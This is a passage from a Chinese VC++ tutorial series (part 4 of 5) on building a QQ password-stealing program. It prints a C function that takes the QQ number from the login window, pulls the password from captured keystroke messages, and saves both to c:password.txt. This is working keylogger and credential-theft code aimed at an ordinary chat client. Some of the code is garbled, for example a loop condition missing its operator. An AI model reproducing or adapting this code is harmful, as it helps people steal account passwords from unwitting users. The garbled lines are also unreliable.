WEB开发网
开发学院软件开发VC 用VC++模拟实现QQ密码盗窃软件 阅读

用VC++模拟实现QQ密码盗窃软件

 2008-11-14 19:33:19 来源:WEB开发网   
核心提示: 第三个:存键盘按键的 pmsg上面三变量分别出现在第二部分和第三部分,都是全局共享(shared)变量QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,用VC++模拟实现QQ密码盗窃软件(4),你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密

第三个:存键盘按键的 pmsg

上面三变量分别出现在第二部分和第三部分,都是全局共享(shared)变量

QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密码,得处理按键消息

void GetPasswrod()
{
    //声明变量和初始化
HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));
DWORD dw;
    //得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码
    //提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码
for(j=0;j20;j++)
{
 psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]='';
    //把QQ号码和QQ密码写入C盘password.txt中
f = CreateFile("c:password.txt",
  GENERIC_WRITE,
  FILE_SHARE_WRITE,
  NULL,
  OPEN_ALWAYS,
  FILE_ATTRIBUTE_NORMAL,
  NULL);
strcat(total,"号码");
strcat(total,num);
strcat(total,"密码:");
strcat(total,psw);
WriteFile(f,&total,sizeof(total),&dw,NULL);
    CloseHandle(f);
}

最后在C盘password.txt也许会出现这样两种情况:

上一页  1 2 3 4 5  下一页

Tags:VC 模拟 实现

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接